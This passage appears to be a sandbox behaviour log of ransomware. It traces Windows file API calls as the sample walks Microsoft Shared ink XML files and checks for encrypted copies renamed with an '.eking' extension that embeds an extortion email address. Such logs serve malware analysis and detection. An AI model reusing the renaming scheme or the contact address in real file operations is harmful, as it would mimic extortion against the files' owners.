(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0268.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0268.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.371] SetEvent (hEvent=0xe0) returned 1 [0268.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.372] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=16616) returned 1 [0268.373] CloseHandle (hObject=0x100) returned 1 [0268.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0268.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0268.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.373] SetEvent (hEvent=0xe0) returned 1 [0268.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.375] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=15097) returned 1 [0268.375] CloseHandle (hObject=0x100) returned 1 [0268.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0268.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0268.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.377] SetEvent (hEvent=0xe0) returned 1 [0268.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.379] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=9803) returned 1 [0268.379] CloseHandle (hObject=0x100) returned 1 [0268.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0268.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0268.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.380] SetEvent (hEvent=0xe0) returned 1 [0268.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.381] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=11067) returned 1 [0268.381] CloseHandle (hObject=0x100) returned 1 [0268.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0268.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0268.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.382] SetEvent (hEvent=0xe0) returned 1 [0268.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.383] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=10947) returned 1 [0268.383] CloseHandle (hObject=0x100) returned 1 [0268.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0268.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0268.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.384] SetEvent (hEvent=0xe0) returned 1 [0268.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.386] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=38485) returned 1 [0268.386] CloseHandle (hObject=0x100) returned 1 [0268.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0268.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0268.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.387] SetEvent (hEvent=0xe0) returned 1 [0268.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.389] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1218) returned 1 [0268.389] CloseHandle (hObject=0x100) returned 1 [0268.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20 [0268.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20 [0268.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.390] SetEvent (hEvent=0xe0) returned 1 [0268.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.391] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=209) returned 1 [0268.391] CloseHandle (hObject=0x100) returned 1 [0268.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml")) returned 0x20 [0268.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml")) returned 0x20 [0268.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.392] SetEvent (hEvent=0xe0) returned 1 [0268.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.393] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=471) returned 1 [0268.393] CloseHandle (hObject=0x100) returned 1 [0268.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0268.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0268.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.394] SetEvent (hEvent=0xe0) returned 1 [0268.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.396] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=215) returned 1 [0268.396] CloseHandle (hObject=0x100) returned 1 [0268.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0268.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0268.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.397] SetEvent (hEvent=0xe0) returned 1 [0268.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.398] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1437) returned 1 [0268.398] CloseHandle (hObject=0x100) returned 1 [0268.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0268.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0268.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.399] SetEvent (hEvent=0xe0) returned 1 [0268.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.400] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=219) returned 1 [0268.401] CloseHandle (hObject=0x100) returned 1 [0268.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0268.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0268.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.401] SetEvent (hEvent=0xe0) returned 1 [0268.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.403] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=924) returned 1 [0268.403] CloseHandle (hObject=0x100) returned 1 [0268.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0268.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0268.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.403] SetEvent (hEvent=0xe0) returned 1 [0268.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.406] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=215) returned 1 [0268.406] CloseHandle (hObject=0x100) returned 1 [0268.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0268.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0268.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft 